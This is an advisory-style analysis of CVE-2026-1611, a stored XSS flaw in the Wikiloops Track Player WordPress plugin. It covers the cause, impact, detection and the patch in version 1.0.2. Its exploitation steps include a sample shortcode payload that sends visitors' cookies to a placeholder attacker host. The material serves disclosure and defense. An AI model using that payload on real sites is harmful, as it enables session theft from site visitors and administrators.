CVE-2026-1611: 
WordPress vulnerability analysis and mitigation

CVE-2026-1611 is a Stored Cross-Site Scripting (XSS) vulnerability in the Wikiloops Track Player plugin for WordPress, affecting all versions up to and including 1.0.1. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's wikiloops shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute for any user who visits the affected page. It was published on February 7, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in the plugin's shortcode handler, where attributes passed to the wikiloops shortcode are neither sanitized on input nor escaped on output before being rendered in the page HTML (see line 19 of Wikiloops-Track-Player.php). An attacker with at least contributor-level WordPress access can craft a post or page containing a malicious wikiloops shortcode with injected JavaScript, which is then stored in the database and executed in the browsers of all subsequent visitors. The attack vector is network-based, requires low privileges, and no user interaction beyond visiting the injected page (Wordfence, WordPress Plugin Trac).

Successful exploitation allows an attacker to persistently inject malicious JavaScript into WordPress pages, affecting all visitors to those pages. Potential consequences include session cookie theft, credential harvesting, redirection to malicious sites, defacement, and delivery of drive-by malware to site visitors. The scope is changed (S:C), meaning the injected script executes in the context of the victim's browser rather than the server, with low confidentiality and integrity impact and no direct availability impact (Wordfence, Red Hat CVE).

No evidence of active in-the-wild exploitation or inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog has been reported for this CVE. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. No public proof-of-concept exploit code has been identified beyond the vulnerability disclosure (Wordfence).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on the target site running Wikiloops Track Player ≤ 1.0.1.
2. Create or Edit a Post: Navigate to the WordPress editor and create a new post or page, or edit an existing one where the wikiloops shortcode can be inserted.
3. Inject Malicious Shortcode: Insert a crafted wikiloops shortcode with a malicious JavaScript payload in one of the unsanitized attributes, for example: [wikiloops attribute=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Submit or publish the post/page, causing the malicious payload to be stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Wordfence, WordPress Plugin Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing wikiloops shortcode with unusual attribute values (e.g., <script>, encoded JavaScript, or event handlers).
• Database: Unexpected JavaScript or HTML event handler content stored in wp_posts table within wikiloops shortcode attributes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages containing the wikiloops shortcode, potentially indicating cookie exfiltration or redirection.
• File System: No direct file system artifacts expected for stored XSS; however, review plugin files for unauthorized modifications to Wikiloops-Track-Player.php.

WordPress site administrators should update the Wikiloops Track Player plugin to version 1.0.2 or later, which addresses the insufficient sanitization and escaping issues. If an immediate update is not possible, consider disabling the plugin or restricting contributor-level access on the site until the patch is applied. Additionally, a Web Application Firewall (WAF) with XSS filtering rules can provide a compensating control. Wordfence users with the premium firewall are protected by rules targeting this vulnerability class (Wordfence).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for February 2–8, 2026, noting the patch availability in version 1.0.2 (Wordfence Blog). Red Hat also tracked the CVE in their security advisory database (Red Hat CVE). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.